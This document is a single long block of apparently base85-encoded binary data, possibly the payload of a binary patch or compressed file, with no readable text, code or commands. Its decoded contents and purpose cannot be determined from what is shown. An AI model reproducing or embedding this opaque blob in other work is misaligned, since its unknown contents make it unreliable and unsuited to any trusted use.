z3j%kU7szn<6=3qoa!V!%gL5UFm&`+AjXf(pkeiaM44&+XzBd(Eas$eQ=;2{-fo!F} zhV>M6RFrSaC#m6CE9L(<%FiQrQFrG&0Mi^hq&D^#X}q#KQa)O!@N0uQm3t!w+!neQ zZAz2-`AcOe-1bU2U<BWN?vH<Y$-j|*aFT-bdX|k^G5JVR1{^x1%&l&q#aAz;Pjg~P zCzly0%8iRcO3O=PC5|WP!@}aoVt68X?owi_+wa3eZ2S|lbNHQq{`pInE<LNg{TVxr z5AFYzp}`U5XuNV)+-o&0<xJ!Qoxsz<v0t)UQ&BkQzC3y2lJ%KWq}_|2v>(p7G>}*0 zo8>K!W7n-)gG*&huUbp3ueYyck#%l8XsF%xS#}?eV}Cr`Gr8-2QU>0B^9trU?O8Gp zjmFE<*(=527r{7=8-&NkGY~Z{VzpL9398rYrXyG_e_5c&y29fZth)isVbZO&Fs{1+ zJl-|yXte>z3`9F;F3?Y_Ewx6Yk<=TWl3<%Ak_)w%ja~@`<ic?Z2m$TUfK{)RJfJ^E zpz^HPtUjNB++HPa6#lk0%wBaNq47H6h$G(Ky49zaYo8KKKGl}msIi9(Iq`<oXC6R3 zWVs_(Zod;WUPmp%99tTB7IC2^vMuFU4jQlZP`WvGr<qeL1YtfjUR=UwO%x}ha!#+X z?U7^sy8l$z)hL-VaOhJ4jPmR!$mBSJM6p0!Mwu~N{(V!Pxw;^rrzvV8sB4JF{HEy( zC5)9q<3-7QJTc7T!cS7}`yRRI$IIVwbK6XbU3dIKe;Tht7p!|AL*oSin$fYvLgTe~ z0|03J<?GfQwBnGNKkii_aYo~X-SruQ2uwM$k;bd7eI@A^=IkNMCNiCce|q#2MAGT$ zk6he&s?_=$1Oj=6yCvsF2W?gm-cegDKKBG%5lSK$H6?*kX5G*L5cruZ{5-b{kB+gY zo%N8rySt}PpUx!z;fEZ}zuGbtqw$h7@QjWwM&m^}aHv0trPD&=1w5F1IO`^3@_B^I zq<l$RI;I@CXnmG+Nh1_pB@zC4(RhvSNGXHFr^H>LU&Mew*W`)Z@*`gE(u7*tj1M15 ztzpQAsRjc^u#qIjq)f3SqGdi?&MamN8VyIhW1qkM-``*%lN&|Re(!$Qpa1wjo_JGJ zlAuAZ6A}KrAw&*J>})ZgVDH_!bt|LpR6%1Mhg6dV`-IbYnJ!zQ@%s6iS?Knu6Tb2L z)SPC;Yzh%ClkhVeo)vz{+eWm)RE4k6xRgOmoceCAM`qna%TXmJA3PKwBm6)L`7vdX z6eK9R#|-+}kYv{`ktVf)kPKphiH614cydz}0DwV5hwR$EBSml#3Y9U$!X&IqTZaru z8jZePJ#Ob$iJ{_X-*>#@umAg(0%5$hAjMMYm^&=UxK{eOE@QJ%0mo_c=FMN6Gv}d) z9@5(8bCJ&xMVWj=jGas4HP6E2lO^!X(s-$EKd14+?7kiGdFS2L->2M~2aOj3Gw$d< z@8u~IzWwSR+ul0%_U`kIKFHCJ3nD=FRy^QSCCeXFb%*?`5<;RvRKj&HR!v|O3_4pG zdK4Gt!-o(YG=6N)&Yge!L$_bH$ZG_Xe|i|?p`p1*gn3GetHRIe5xDPv(xgcbNp#)* z*zAa=(s&UG)48;6vUB)JlwLZGmlUFNz)y1MpS=9wnLp{vEFER(23|B?8wj)@u8MmB zi#ln3QNtb6*Yu85VK{QXZrRQPfo@UJh@Q*00QwhSm;noC3bRbKY$L78*Loh)M}Y-X z1Rj}x{~y|vrXu_WCR>$Z7labAyyo_M8UaIjFNFDEwOxs3$vk*u?sk3QzWe=?aPW$y zg$hGlp|gOsY+teBme$tRT|GUpQ1hZqE1>~n-2gsG3K&4+UxvxEz-$lC$L;1Fa<%jV z5AEV8mWF;_rTk%Bt<?K<q_7x`R}j$+$lzg??7Gh6<52ksp$Njl&2xpjP28TR_8l0( zD2grh3t^@*b*hU>W67aF$b&-1HMAq|nmu!P%^f;q<bMZ+GN3+&84llP1mdHDg8EE+ zlE85#77a}P^~}W>4ht|<IFF`9=009=0F9SXT(h`o0p1wby=Uel1-T*qqY#k~Wmuu2 zx13$%=btw*TNWB&1$6{9g)+mn<KD5~e)Yb-Adn`Yey|dwdIPD=VQyXxPd75ut`5Yg zvywe|pwJ3<dJV{<I;A-ak~b>`mFrj44kEZNi!EL5Ads?wm7m25Leo*vZZY3fAA5dz z^_8|kJq~LyK&*T2v{TcIB3!+b79<==2_{_!nT#IDBT&+=VepW_yLx&wDuFUZa^;~4 zP(nf5Ft#94x?)L<Y)>}~VdL9PFLfdoEWulwhJi||FPoOL9XcEz4vk4bcwpvsFU<*L zrzawdD}+!RrHTM(;e93rLf>45Kex5V^k@D3E-%+U@iIG3$KOVozwejaDwzNCXhtqf zW!;o6ogg^S1CuJ=<KS3!b8Wx>5P12PjYD8HB?|3#B63B=m?Vq2e1*p<6pmAJJ>j5; zCOhw}cnZeuuz>J-UVo4r`1Jz05xZh8TTmEcyH0<7R7_%v!F##J-__Np@t+kqTvMv4 z3!wd4h2MZaiBNa~hAU%#gwlVb6b5uk8k}Op%>|}B+5AwK;zNHoPrfjVS$Y3RKRy+H z%6#exhxp_(6&kOQB@U(WvP|h6sE6b!RPNBxf10}gpHN^AiLaaBx22lGtI;fwH9v3a zERroVA;Kz{6+-lgny?#vU>#3Rlz<{1fBl32cwVOQva4rDKR^A%hsMkBM4RfB8JT?U z4oW)ualAEYqp8r4$XTv35H104@eX?Wph-Yu5uCgzKoAB=1cv>sLx=SC>_YX#Ux5~= zdI(K~2M~A$At*A9R}i^PDd9JfRTQC5Bk-PpB!FG`kp)2v!V9u^ib2LQMa$eW<1WTg zb|xRGAJKpy;4gSk4+l-Kvw{~sI98C>E-^gPKe!8Zri{x)C}9(2V`OYqQzjh*U4JV4 zL1b?r4;vFSUV_HYwdj&lP?E;0Icvm)-?SzQlaISp6Gl8iU`eC+q6XTu?o7Y1lg7(D zbTFHrFU%2IAkHttN9sRarz!Ds`H{i4Op|Y}B(M<3zd}*z=l3Z>&YkT;UzE&al0@U> zSW078pTF>D50$0vEC57Xt}qq;Y}T_dF`IMc6&f$)YVlv-x>wqd+^qKVD_e?Le%ho^ za(H%b|7mF3X%qYZ{D<D<s(zWkv3y$r8UW(mrT`_J#>@N4WR6G2j;9=c5P}OYBs5+h zKjQ7TxBBz;`!o4u*?SLNxNc3mLYzeia4=n$%Esj+&yvZu^dAc0Pn+#1`IkX~;x_)2 zMP$}JQ53y@{$uxg(s<!xW@x;)oHLXD(6QYYq;5eP9^~B!@GO_ejY$1BcT*;F_(-5n z@sF3Bc;lTxg!x6J7sA{@5)PSdX>HxLbC<RzX`VmSJh~HC3XRugmp$_6BMp@n(ssrX z;WS>#sp(cf=$w^F0$9%}<I)l|UYD|#ULt!F7q6e*vBgQ_b+<yo#d!Ny$s`;Z*E;1C zQE9vuj+^t->ifTV-;aD~yw<H5bxT|Oqi5dv>=j2y-N~$<UxWgJ&kHKyfw&}oBcs|^ zBA~Jm6wE>ad+C&AAPOX{Pi38FKOylgH!6<ym5^stm<8CLjL-360I1b!@BHU?cmLt# z2u9|Z-_zMcPDUj0rn|fQl<CuN7X*F~dX2s-LF2`*hYC;{1!uXmY&2e3G7m|fO-w!- zjn@h@g|2++`3Ie|8Xh|D(R&U3{6-qDDHE3e%MXA1xlOWVx6*iJE{U*xf`#TA2}6$y zL;biIu~KOy4Y~i{9}WnWSYYqt7B!lG_pClBp@WdeU~k+6QL7=8H2BE5gpd(h0l$)5 z=-Q-IO5-I{cltoJC272*Eh_<G0KWx-33tt?n^e0EEKELMS+{1SDl_l<-l3;|f70zH z8ZYxIjbE^qoO&WZwS&w<J$w53H^71?ZvYogT-=F(9<FG*=jKss43}inVqWPYTX0vY zRUv@#bU;^b#WDxMr+Kmbun=K6E7fXWUtiR0F)mowm<M5&d_|QQgI+YbXbE1@DZS0{ z$M|VBZ{9rT!Z{E9>>=AiM3s2Zpg}!7J&pdl{OtEB$>iff<8`Tp$tRb_YyLsA@2;P0 zr16^3(E-{e6p-G|jE*gNG+w}uO4LT<1qqYSd5p%3T@uCi_$Ar+$gC)_yOfZPGgL{w zfhEo9R`&=X1KD|KhR=Wgy2W!wO{L8YOTuTmi3;$7yVu`Q*XUd16FQE{P2)v5_CIvQ zzjr?U%#OFW$`7wBhaVA!t3znKB<ijVfu~C2bvH;S_E^RNXe+Lq8chVZsKU=j0J()< zK^C(d0g4M^8xvr-5w8g_$QHvRRM>2aBkwtUudQ#sEpV(dA$QJi?IR}&Y;s?eB&6J^ zjDu4+pQ`8i#VY}L%4Ok5%<(J96{PJwNtV6WbLox3Z;bb}W*FNj-eNRfy4%+5t`9eu z+{C6M;6aa*;BMj}y}NcMB)%(!)qA$D<<YL?E(<DJQ&1cb^~e{L^z+NmN#t<&H4BwB zJRTFPJdlQV1RdX9<m1>DdAuv;!Z^28$z!=rojga8oI{I6l}Z%B{=WX8ZEZ+j0saUe zfKfz?{A?jWsL2w^;AUmHn+vBoZUlI<)C34{5D$8@@6HY6iHSWh!c*?*4#O2h5ALY< ztl@!hNuyr3rB!{Ji<_X5E%{*xtiYI&XBPKtu$pZ%jhFa-wOVN;NtS-YA8>&Y#;j2z z@gd>&J+fZ`nP-O*urv#!0pQgwv-?qreN_wv8=yQwDaI5k{IC)aYH8iRW4mzm30*|3 zPKfApjS{i|F_ueFV4lLs4<A!$-Ljbt>cB<ZDg*d6(jps3R?hu%`@PL>83J)!$?|{t z&m9ki%}S=9%6|v#e#V{wzA&TZ2bH+eFFn@;pjxe^-q#0;uB=qx0c`V9ayeM76B;}! zg+tp&LnkqpjJ?Y%_#m?9T;d>~n}URqb%3h$P#!zz?)RKaDNs{GM-#!k!n2GNz|ZR4 znFx787p_vRK+d@6If=<X>0om-d^)#WoU^8;7Z@V;ewina$;c%%LIE%w7<tVz9-V** zatZw0-Wdo9r#;oWc}s+F@;8}Lx2Z?7A?UCWT>=w+&{TLY;IH8V;8_P!vK%_Md@ZOY z-k@GHI8cG8xKgWXJhp|&u#gA6oN;tlC?AQtRMh82a!J+-^rxaST%85P+etm-(AvN| zddluAgW_<M_qqwvOA>h6zF&;SEBpBI$bd$}N*`h($;UBmMV})gPrSg1LFCPA+&pSC zU}L!tr>S@AGTh;hkf_7ezmOSv*Tj^Nd!(ehZr2mAEZ*l=F0w07v#@)Nu|fE?MqMvs zo=JBZX}o;YX8{^7pGG4ueGfsUVjV;i5p5DotLh&v6$-3eqc!XYOb{A2Y*=q!uZ;k| z@P;m*d>$y6t?2R=v1dV1Mo^KWJr?s7)vWNN5=<t>zi!OZc$t(%dL2=OsW0k{5#dZe z1BdsR8pT{>9_9CCmf*osc!S#p^fClX34Qh=lO%cfKfin1_U+rZZflBRY2rA&0Y$$< z$;CZ2NDwYYcT}yWlD<PPCgn12MLyscbOLQutNfykJ!iGIKjUrx=~+e;qVWpqC(jnK z=P;Kl4@R`~Hu)7e?8#7u0M%4tUS>XZ<OljyzQNWv8XYhXISAa%=g)+o*3#0~)7z9w zExZC&;YTK|m-z_V*m4++*Ro~pXPqV6f8@vB8%pC9TK5|2_(_@~<?sXcNVS+_>E=*Z zUxw=A=6lNyQ<gXE1P-teHdi?POP(EYqZehP79bZb0Yc?iOnG_lh~c5}hEF)nXuOV_ zwDc;S#?NgB%5eDYhJsMiW5X=JEd}k<k3}~?t=7_yr|zKe(A29fUw$=E67!C3pBY$s z1CMlJTHlB7PBm47HFr!HEY=JcegVaqcKyQpY^v2WU;&OCtwHz&;8%jeIr}Fn`~ZNt zbLY;SIrE4kj@Y_&tIy3BVDix};81g8Tlx{PmPKg1_zy+QpXJOl3aP2h&X2|`OU^}U zym;$@m7Gi4mkGcK-;QnDJ>5ucM`VYTB}r1}L=n5kfCsS&f^wWZhKR{dOxUz}HX&v8 zphSA#h4vSJej<McL3bAx{tq2~`0X7Xmo2#bXAk~|r=~AP<CPv$vWR?j#xGQ9yf~8& zBhOktgVA`6Y+ngYG+ryk58r$C%El=j-N&vSf8nbB6K{UuoD64{_F#;sR*!6=@fu0K z^&~r_ft>5Cm00-kK@OU|ve7`(S8O2%zuUg=spU7Oe|6ce)c^p!eSPBdYOS{SJ|q6} z=RZdPQeIS;(sMa?v%AROIg+#~3IzqyB^UD=nhrFC4udiV<N32j-Dp25M1e?o`=?Kz z-a%-*e)iBqxs@2=LJQM)Np879<7F_wn9a_MLL*CnbJj}g_T&G*#Yy93XAo14jPm;V z7me;Pod~Egzl}uD%cPjv{*<3oDwRF<-s|<h{S5**Y_Gkxz4ey0r3W?N3-AwUQ6Z9o z0FNVZR!6hgzQYy=__8f9_Fh1$VsH&hBWa525;R^^^8IUs_9-X)s<7)cUdU`trT2IS zhARB4=u(<E{OA`QExqG)2C<vHnS4^EFgpFa5$z`@R~nGL8ge17ysr1vLmzY_Nunqk zz=XULZ}TUy3x!eqliAIMGf^`z;{s+IX*6Cw<K;YGn>TO%;+#1TKlG5ha8l|cfKePZ z>WwlqUexWk(Ri%~;DcX%^4^&*>ja*uz{`|g#INq2chKy6>-}|=|I19{h1yyEFI~VH zI)m7}0>a;E<O^fR8%aJrR3hi{C7*_{*4om$tEVt?e#w5GrZ@RER}&2o$!8gcqNd-h z8uK>;^P?|8<K-E2;ToSfZuHkfX}shLKl(aVA8aLYX+8NQI5N>Jzdwx^57DhOUJkgA zGKk$gij#8REL#0@h2NK)Yo$lEuR5Yz@ekAaLY|gW?bmD~VNUtq78|outOwLT)&Tzi z4Z;TDFWjcqbn?#;MQOa;s4Vcoa+Keib7?_?B1>ArT+bGH6kh~*!n_a4lMjp56v;o4 zE1-idO3`%-N=1QzoQKz}4uX<SL4G=bFLl_UP9y$NjL#3)Q++`flTGzO%Y_Bfp<74X z4H`Un=Z>ABCeEjmG`G*s=h;`PN_#>stvx7&fw@_m+|30gn^;N~y%u0?F+L;MY~57e zc|m#IzM85nBK*D!MNlCz>(;#D&fdlX2yp1gw3x6{nD()?ibj;UWDaPc@yb@<`3}7g z9H$3zD|S4DIh)+heL4lUX8yFlfn>i5V>-ye)j^i$%GkcGRUp~KA-7w(xsZo}%%gxB z9yEAR&#qnCLd2CAi%PxGEa12K)NZ_uPuqDuNV2C4*IErF+`1U3;dcSz=VE#!hz)Vr z9>XeeynV+GN*~%RMw;xHQ=ef$WsC#_Fp*gvU~#%Zhw5xfy*X-Xouaj?ujDE-W0+B6 zz=J)aDM=#~$TO>j$AxpM22udi%D8V6#u)CTjHb;}c@7O?8_wZgE_@@n@qjS%=4rst z^~_^}1I_BBhLyNlt+E`)z%Z;gv5U!}SwMJpGrJ{BfS*Z*L77O&w5tYuV516O=T8|! z)_GF4g@$pIG!mb@n%A@UW_JnjW-VUj?qMHnu1&N3wkb^kAW&QRz<W7Sce%AHpki_? ze;J+H#MG!uO$1>Cex5UM_R=|LfiN=&L(WLGhM?cpuGTGwwOS2A(A(SBlxmQ|<(s)& zdY-fQcBjht2chCEa(M#=e*}!{YObebgM3Fcb!bPB7SQ)J$zwAXKuPInECz0;30hnd z0}p~d_!LSou2didbo6RrVYA{=;SU`Z$V8Tt&x9_Zw{8l(<^o}t4|+EMf?I;TjNd;l z?=1`(IUczujaN39*(aRF3;1Dg{?4tqssy2Gt=j0XlMHsE00bK2tz`<Wzt@Ti(S!%^ zi}StgKR_m6>t}gU4DOY30mU>$t+f@zuy@BUc@P_D26tExj#~=C2nyT^g)P1hF30V+ z$-MNijc3}papUP{obk-lPrHYcj@Wm^*0;CG(*cUncquWnQ%}ir#Qh%__5vbEB7B9$ zE6=dFy6yulgJ~pq-ZsVbzWsGU#octrviLka+oTt#5eAOn+**ccqMy$oh-Ovj=f_#4 zz=>1(oUxcvP5>A(bjYq9JGJ7=Y<%is@Acrcvi^`Z_O!RR|MuypA;dFz`+EAaq}sAY zEhGE@!l8Q(+y2(p!r%hPA`504MT8$$=>l3&<7{g;34a8!M-iOLG6{d)W+gM1`YYAy z;Gu)xdi{-vwDcB9i!>Y7DYCyUl;OKSCLg%Y-=;t$<hfVt{ryItNJ(b<aQGFt2u9<z zl+gG*^K@Lr4D&udPcW0u8?Vt@QAq5wP@D${$Dn%%j91Im{EUt+BK#m#5K$bXM#FSF z2I1Gp_N6VwI`e2<kg0-575<EFa#imj#2}2oM)9yw3nj*oSPuvcY(h<$+ttJzM_Cqd zcerG+zU8mqSNKD<es_2G$hNlQCQV}U??dBBB&iIImsm;|VM#V#tz37gdB|+~tva|i z<1p)PKbgRZ6|HIAQ>Hyzp4Qf-3v(^MclJB9P!w6Fs)w1ojG+e2n>m+DKrm3iyT3e_ z4wQC7o+3y1t$aq%Lh*?d;fGloFUJ-k??((TPUB@E&&YhV3L-T9cAY%y_5db9*}m>& z6S6d3a2ffO{SW{o2|xA%BpR<JotZUZ2Z@#~J5sqI{Fk+BX0@dsN~OW<3RI4;C8KfQ z@rtflvnHko(w~Ax5T+mGNJc(D`A*1ZE4pSKtp*dO^7Y+N2v9^4n(AmYe;_Z+*L|h* zUFpI^J?1a71abz8a`+v7_~9v;kA#a@`43@f;m<hQMlP+psQ{?tS)$keCi0H)WDyS^ zOvgWz`}yzYEw_t09l#!E>>?Ne!hB)$>{fa&eh~a=8@alOl`4^|Bo|32NsfNp5dUWh z!p_SOjj{8Q;6f%F0fl+^p$^Em^!4_-8><TBVtnJ_ft-?3*oK#Bc1GcaB%W=!EY%m> zXvHD1tZoy4pP=!gjs2eRMj0j_at#WNmpDbn9WW7Qb;{lKW*RTX<TI*$<#er!C#CU{ zK;ZFavaMD4U*j)dYoqtVYC>o4As04f!lLz5Xm0>>bm2!}{8!ekX%p8x!*qp&E;Q8} z^mYj)Xm)cH!=HrkgOW9inX-R>xFI`lHeU+_c2Ze`I7`vDW8AP06H$TM!Q2%lmfz$; zfTD^`M*9ttpXaWO7yuftwQFWU>Xwfa^5rf3t0>+ic(TkiUY0yaD*VKNk7JPDCVX{} z_~G$kU-`wo@BhyGPP?mrbgFJL0Y2mQm_i7NB;mI~43Mh93;yTy)4u!5|NC2tad2s0 zk94k~&{7C`yOl~MNgBr4EzN09@ZROfS*KK{6}P~M;Q@~+nicaGzDkE>*t~i3oH=uB zHs2OCBnb+p@p|L6IIh&|yn~(6c&$pUu1w=4(Or2FcyekinS{$q;{|51{GYCax>$TZ z{&Mz@yCuVpl}h^`=N)*)%4D1*y6M3Yn6Yrdro}RqpT+X)nMF9`hh59!>yG*Kcm4nn z;{0FoWmC7mgXlfqC$4S!O0C*xH2kR_n}}Vx9B)4eu)qx5fUsyFyONtiy2Sv$xKc?P zbq8D#N-!*FynGOT`J`IR?;-rJ58G?cZEwCM!{SyNFUqAQMeI53y%JB>rEEl(mBwrK zeOL#j2t2;EaXQ%+D-h5x=_Yb;_9-P4C;w<O$0>foPs#lr$PkT5C%<h)*V&(ZW%7|< z?<}GEts+#^kp|5kYrk8?vVhiem(LE^a3n1J388A&M#l^sADjDCU`j9IZL^@6Rz>2& z<y>{pss62X)JRu$1*oHe2Lnfu;!uy$p&}Ksf2Z8l-$jfEE@L;)6l2`&A23}Q>L3kV zV^5%2Q^>G`?iZ+|>_LeH`v5$P@e9_?-8`}VZp4C%Q7hcCU;O#zDj;p_m&9~rX|nW3 z5dR*weV}CI@72|pO9Ey4LJ*b<+!V10HFu#SnWom-8KQt^evprW#!J>6p%Z4Ion;{B zbneazDO%Z*C;0}_A=I>;-7<Jke}8|Ht&cVp)t96#YOX-;9+Llo)fccFho6m<u8EG2 zK25*^<am0yL2ih@C9w%cv&ICA_lACcj~*2#mr+i!mf;?OwUouK!hk-E6gYjc0@OW) zVYz{T8%u6}f4rj*1*SMiky(BD((ZRn{&a;he}-Nv<o!I<N!ZHv8o+*)Jls?oiJPy~ zU>sq{AVK-{woPJ2EkNCy<055N9=g?Nu|~H*4gybdgr<QSMKQb(2KRh(l?s0#b*b7H z?g33@6@QQ^c557Snmur`n(yPZoM?dH83TPl&}Pamn#5cPZ2`0212X?Lf<yP*vuDRn zxl`NUG9$Zx=jp8!#MQhXV)ptCeST&3UY=#mJu>j4jmsI-S-`&KzACjUN|3@=85E~M zRUkZxx(Z0X(T#^#c(Rjinh0^{TA{!D>=*Y1z&IN7p%1+B(#zZ5dOI{wD&uJv;okYj z$N!9NRZXIG9w^>^$LZs01-q_UN^d@~C+I}xp&bRHdVh`9yrE{zmE=&UWuRhX2uXO7 zpa!yC9%}=U)pt`F;{HJfV>KBIXnIJRMf(FOSzug=>(YoA`kjBV(0JwESn+XP7Mol? z3G@$WD0Ty$Jg~PPNOSymd<3DzIfeILSSLlHaYNcq%(eYN$D&-c+C@K4X}q3!MoZM8 zywE6=$wv(8q-<LtK{-RC3Sshwetz3wORxz#uf)X&Hb5Ia)HNv9W`_oJex5&e=!3Cm z=ei)@H7xFg+WU@5raw(?zecoZ!rOAss?c~jVKaAQk1vhaZZTZEYmm0|Izc$kPBNiS z)Pm$px4%>P)dUF4&dn>jK1~_IO)m+LV6Hb{A)QiEljh$=ULYM7NBF21k8v+W6l-9{ zy<E(12iO%Fucx1;cPlez+J>=|XYwh?8138FX&~?{LtHI)@5;)6_1?@7JOb9K!6h59 zDwT>hEXZG~{fUF)IP5HLZ+SqphBqx5XcE(=zqYd3e}AoH%vJdbKd(p+qVZ~LYnzmz z@yhjrL}O2J8n0prDqk~hX79Cb)*P#1Y|)WV!He%VU}r!GzrXQBplOpfeZ-(ZUJ4fS znRml{x7`n~<g7C&8lGD`LA%@U44iV4E?bE30}G9pV-X#0zp<+?jrrx^Sah<{E;^mY zi?VSkG+t+cjxEIZ)@ZyiC6?lTYmzB3ZE*>PF>!DZ6W#9lPaL(hos)&JUv#g)3>sAS zALra$;vlI?NY5r&evPmv^Z0U!@dsq;sp-Qgg9rUT{qj<6-XoZ;{-%RLG1L<g%@UCF zRt8)C@Rvs8<=@yJD*U?TH+aY67Z^CRh}>Feyl$pUTe5^HKNS7^S&}S{fF=nS{$&%l z+&+22H^f;+^0VB+nfs*9V@A#;DJxAGQS~uO<0%RfNZ2I7-p#E_#eg&~Na7zOSJISu zAwighLHOOFj%QnyjmFC})mMVahYFeAv64^YMM!c`+UM`2@lqK#LB{w?7js_sNfQ@6 zhs>-25<>?9;8gmrHIvt+6n#SL2z~)DuMp(_|85s8Dl;UuStGR6iUd$j@8~i7?&(1^ zr}{M6_RfenmXf0V^XAWg_~D0ws`rd!9uDEpy8V){Ga9dyrIG~Bx8PVn#L^J6b9NEo z@8sctD*Orq|0=@UFVlGCpo3Y0FiH5qg0(k*3;99lr*ps!veuy=9=RA`PXuh)G7@0D zu)#0V4(W*uni5?mEN`wF%Jv0=%%z61B<%hGUUx&nYt@6qUajp9Esf3tU=<oKXRg(U z!!H{G2)F<3t#2tab103MoErnF(2aM}crDooQ8L|=#*6a*a;7bCDkI6#R%r%SE0ZTI zd!YirDa&7)%}Mwa6~nCjp$pbNaP$+5bnxgW(r;3-UCuAC31<PjW$SNQ(gc7#_87K( z>$V`fnk~G|RSF0oNHdJuj151t;hMsnix)!7L(|*a2SNsK`3KC!nEwW_Ki>n7a}|W6 zT)?jY>X`ZPQ<Ek=tVzBf5E4q`m9_j@)*ONHUtPE6EaLKauU!iXjhB_fkBe)T#!KSE zPHDU{*?8@#q?R9;h{L!?pkazit3LY>%4olgQW&fmP+2Q;_gs;|4g9awY6U>ZW)MNn zdE^v$$mc1QOo@g17g;q226P@lZl_Rz6lPw<TK*TLKbeI;^v(&yg_N;Mp=k+zmBq_@ z9eOI$gXnRCirZhS)%q<xYQZzD@^X!yAejU!Hp8T-5VQf=$!=vy(xDp?mwE)N)ylX- z5B>e`p3OQ45@i5%Fv_`_5m9L}|I*gD`O|(J(&W>LX!mO*;kT6Bl~REaRH}RomY+v7 zVt9CCk5(;I-Zz8HtP9~Eh?G^RxdWxj69yns^)p;?C2mNwSP8F362ZuJlBg0#QQY6x zmt&Kgh2%LNN^=8mkK<HowX_c!W`<!51a-GRL3)9kthKcE_Vf&NX9%A5TW>TG-^wkg zwZMB;8n2QTsr+<p|BRjeTp6$4=RxI=k%bt#5-xY>z``ajo#z=7fLdDz_4W4bHuk}s zm_Ns%4KGm+qGt<;mtestBd5{GyZKkl_C$rpyzgGx$xsS<FJ2&zhf=2B9uHZCkPTA~ zeDnp!Y?LDu%UK!cEYqg2^yM(DS%sh11|fvXh<CxKqH68|n)FcQvW;JhV5L&+>+6do zkim-!plFLBD9i)%5AZ4(NCw3n1x&GjVN%PW*4|w`#qNUT)InYv0)*k^zDLUne=%ia zZTR!?-z>?YdeW#wvDR5wMqo<D$wuQ`vSOrJ+LNxng@ZWf@t4eXH=!u4#8M0#F)pwy z3(8C@lJTsdK*kI%_@np!K!EY!<b6P@uL;xwe!hA=X|#<R^*^t^YMcNU79SP{OF~j6 z2E-MXRoKqxKq}RC2&8i-(Z9D09@MDUS)y(?h`Q(2v@AkNGaj&SNgRjc3zO9;z`9Ym z-YKU?+s6>vMZkde51{8}XkgII{(ubaP|qG|v&nKD0h_vQwj@|VL3z3W3IX0smnt)4 z!b*&i1exfMe6em5cepv#7w9x)V_-1A6Kv#9IE38HM;zu97dEt+q>K%i^RWD(wu>D5 z@DG`3ymb8vp=QC#=K0<8D##y)?lEk~w(SLHf$YxI8o%I{TCK0YuZRnyLN;oo0NjJa znt5N%WjEH2R`l}nNrap29{PHwHgqsZ=6$@I0qW}8xN+kdXPl8Q|Cv|QnS4x79hajP z-FdvWzbVTkRrfmfXp||5`}-qy?n>T&0IcyJr4Rq_0)_g0p+I@BS1w)9cs>2h(`m5i zp_ZB^{3R<itj3Cz_m0X=;|_U3;!3FSvoij&PugozXtOpbRI6mwzm^>G)vRXZ0rX`| zH#<<5;cxj-o<9QZXn&An@A7Z}=<ZT!yu1OJrZD*w*QxpABBa{>0<{JuJ0^>l*??kU zPGKmkiPMnW^}NLuM3cgq0etxc1!WE&9P{fDm)WG-XuNWTtvrXHCqQL(YBU;o2x@}| z4IVW3t=He+!Lymh%lCnm%oGyg$5-Oh-PKf4-_3GWfJ>|3gvgR*5!ol}pS*;|!b2Av zQ+QmebYMH+7v?A$i@nKzyB#!M&Rlv~CLaTD2LOjISoeVTkxt_!2(~mDuj;a8NAMq# ziM@F=UOM5Q^(>#fdQ<-)^PXfi#5UG2!YI_PUb{1SYuswc-SHaa?IR};fSRE@+(Ta~ zm3qAni;YyVE8l?{wi%*av@XejCO?OrvpWuketuU-<DH_&rSa0){vj(>DJcBn!iW&v zM0omAZE*YKHD^h@IE>80PUD5Yz=`rk&BCoc(^VR;QRGdRnZ`>+2d!tp7nwbs%o;YT zedRd9K9cKb*miTKB4Fqqdu-pf%_ju#fzt~)FGXrDTvg;wTT-xFF60KysdW$nIR#ZZ z`S`OA%?Q$KgTqG*2cY@AN(LG)H3>Il=#ZT|b_zGUQmX<0>wSGiXuNb|TZqO>e;-cc z)xjF{b<6Ky4FKXK>gh=L{(Emdc;;OvVf7(yr*PE37yr=1KKT5G4UV2U?cg}q5W)Ov ztMbU4^VZ6zBvG@7_Y2!$o2ze%sUrxhEiFZwd^Gj%ytSgKzC2As(S8SYXQhgrx2#80 zmcx%-iIv8Si&!&+-<!ruIr0XHEX*eSCSAa8r_-zDA;Yl1ax@9X3t(XnywvEPrXvf@ zKoI^hUoegb4;i#$+xBcfRRDQJ!Nwl9+u(tsDKuWj2*l#OgfjVL*?TFC7mVM3`Q!I< z8n13ll#LK$<05YV9o^@>JoTtWzfUY8O5{z@c;UdiE5qKq45a)%CK@k`iis+x-L{!f zdLh;A&$5OIRx*Xjhs!g49GY2%z?EAK-~9tM&vSqP^YSCKf)3u424thYw)jMN$V#K$ zl#^!4du_KDc(O^8CK(9)ayMCF;g`;mp~XsF{w?d)f(a6h7frB3IeO=xcM@UC(0IZ4 z)Q&$K`!L4-jL@Q&@LSz}18Z33c6b2XGGy?-9(lyCA6r+qQw$Y$iG9pVvl`>&&y$qu zt2z0Ck~3OEbB$qPyee_E)|USM{v6Jj{8Y4}s%?x+McjTbm!rT4ap@pUrtw0Bf+Cg4 z$BLqRyIW@POmTw3=5SJSp=z~Suh(5A=mRt8$_B+1B&CxiwOXqofa-nyO=jcr9vtKe za~2=n2mM4B_z8JnNuNi|?~rHyM#<|KU4x)FL>2y^$NKskulX`YIM%|@IPE2k)?{oh z_M?BU1^MAgV@rk)gk--#VWbUs7dSbuEulofj(((2+`AdTq{HSFpJi$?1C?q8Az&VA z=;#Y}(5pE!!2{6PGZ4X>M~`Y4LIJYUuDuG3#CFkm8828$o{PBv_6O;YDi^Q`z`U!X zC~h<wFx>2voFLj9UK7JQH^W4iaWtF`1x~C85XaHp<KrFVR+PcemR^q{->6bSNh2pY z<g;tDyn@L4A(?2BifF3>iqCen&_tz96CW~dV^ec3!MCQBZ$@zF(4kwmZi_-EaC*{y zd20a+c`2;cs{Orvpc$`badj7oc8z{SR>?wd|Jv{Jn%UJyk6df1H5v^Zh&F4dmh<lZ z(O;P0I9&LRqa9I`cWT)V$fmwbwhOin9@K-YMFvc^cjq?qX_+fYx}olq0ch!UlsARW z7=Rw2r6=}g)S3?GzeM@8wRjukT_Gx3qTh_d{sD>CO1k1XD+UQMd><V6d$9t6p%|zA zei?m;U+7vSi;+n&3{*dV+5Mr7g{f7^Os=rRHKxI6ZSC*t#W6^hPo|_p5hU2a1}plB zar4-$-Cxj^Y#?V5U0uA18x7B^ZQx0JKyfboom+`Cx#^aCK<IiyomprKe*6uX<FE)A z26cvUEf<KK^L|nQ?XOfSQ5^U7^a9nGG*GhVUVHA^vC9CT`r`<ewF|(gJa@AjEU*p3 z0%}Q5GtB;Oqrpf38vnr$Y<=^sSG!*++#?W{6x=Osyhw870kFsO7QkiDkimvn#<7b` zL}`XEWXMUKfS=JL^;^Ef56{qe`KhG>d49(<8&?+E!<?oAC;Zi%1BNY@{)CocM0s2~ 